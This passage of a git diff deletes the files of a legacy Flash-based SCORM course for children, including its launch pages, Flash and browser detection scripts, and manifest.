-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="efk_shell.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="efk_shell.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" width="100%" height="100%" scale="exactfit" name="efk_shell" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/efk_shell.swf b/Explore/elr/Other/O0001/efk_shell.swf
deleted file mode 100755
index d1559e6..0000000
--- a/Explore/elr/Other/O0001/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/html/fpi_blank.html b/Explore/elr/Other/O0001/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Other/O0001/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/html/fpi_detection.html b/Explore/elr/Other/O0001/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Other/O0001/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/html/fpi_flash.html b/Explore/elr/Other/O0001/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Other/O0001/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/html/fpi_no_flash.html b/Explore/elr/Other/O0001/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Other/O0001/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0001/html/fpi_upgrade_flash.html b/Explore/elr/Other/O0001/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Other/O0001/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0001/html/launch.html b/Explore/elr/Other/O0001/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Other/O0001/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/html/os_browser_detection.html b/Explore/elr/Other/O0001/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Other/O0001/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0001/html/os_not_compatible_page.html b/Explore/elr/Other/O0001/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Other/O0001/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0001/images/bg_03.jpg b/Explore/elr/Other/O0001/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Other/O0001/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/images/efk_logo.png b/Explore/elr/Other/O0001/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Other/O0001/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/images/launch.gif b/Explore/elr/Other/O0001/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/Other/O0001/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/imsmanifest.xml b/Explore/elr/Other/O0001/imsmanifest.xml
deleted file mode 100755
index 79eaa57..0000000
--- a/Explore/elr/Other/O0001/imsmanifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Language</title>
-			<item identifier="ITEM_EFK" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Language</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/launch.gif" />
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/Other/O0001/index.html b/Explore/elr/Other/O0001/index.html
deleted file mode 100755
index 6cd6a4c..0000000
--- a/Explore/elr/Other/O0001/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	if (wo==null || typeof(wo)=="undefined") {
-		alert("We have noticed that you are using a pop-up blocker; to view this site correctly you will need to switch off any pop-up blocking software.");
-	} 
-	wo.focus();
- }
- </script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/js/browser-detection.js b/Explore/elr/Other/O0001/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Other/O0001/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Other/O0001/js/fpi-init.js b/Explore/elr/Other/O0001/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Other/O0001/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/js/fpi-main.js b/Explore/elr/Other/O0001/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Other/O0001/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/js/fpi-swap.js b/Explore/elr/Other/O0001/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Other/O0001/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
